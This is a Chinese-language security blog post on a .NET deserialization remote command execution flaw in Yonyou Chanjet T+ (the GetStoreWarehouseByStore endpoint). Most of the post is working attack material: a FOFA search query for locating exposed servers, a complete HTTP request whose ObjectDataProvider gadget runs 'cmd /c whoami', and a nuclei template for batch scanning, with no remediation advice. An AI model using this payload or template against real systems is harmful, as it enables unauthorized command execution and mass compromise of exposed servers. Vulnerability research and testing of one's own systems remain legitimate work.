用友畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞

发布时间 2023-09-15 00:49:22作者: 学安全的小白

漏洞简介

用友 畅捷通T+ GetStoreWarehouseByStore 存在 .net反序列化漏洞,导致远程命令执行,控制服务器

漏洞复现

fofa语法:app="畅捷通-TPlus"
登录页面如下:

POC:

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
X-Ajaxpro-Method: GetStoreWarehouseByStore
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 577

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd", "Arguments":"/c whoami > test.txt"
        }
    }
  }
}


访问/tplus/test.txt文件,查看命令执行结果

nuclei批量yaml文件

id: changjietong_GetStoreWarehouseByStore_rce
info:
  name: 用友 畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞
  author: mhb17
  severity: critical
  description: 
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}.txt"
requests:
  - raw:
      - |-
        POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
        X-Ajaxpro-Method: GetStoreWarehouseByStore
        Host: {{Hostname}}
        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
        Connection: close
        Content-type: application/x-www-form-urlencoded
        Content-Length: 577

        {
          "storeID":{
            "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
            "MethodName":"Start",
            "ObjectInstance":{
                "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "StartInfo": {
                    "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                    "FileName":"cmd", "Arguments":"/c whoami > {{file_name}}"
                }
            }
          }
        }
      - |+
        GET /tplus/{{file_name}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

    req-condition: true
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_1), "System.ArgumentException") && status_code_2 == 200'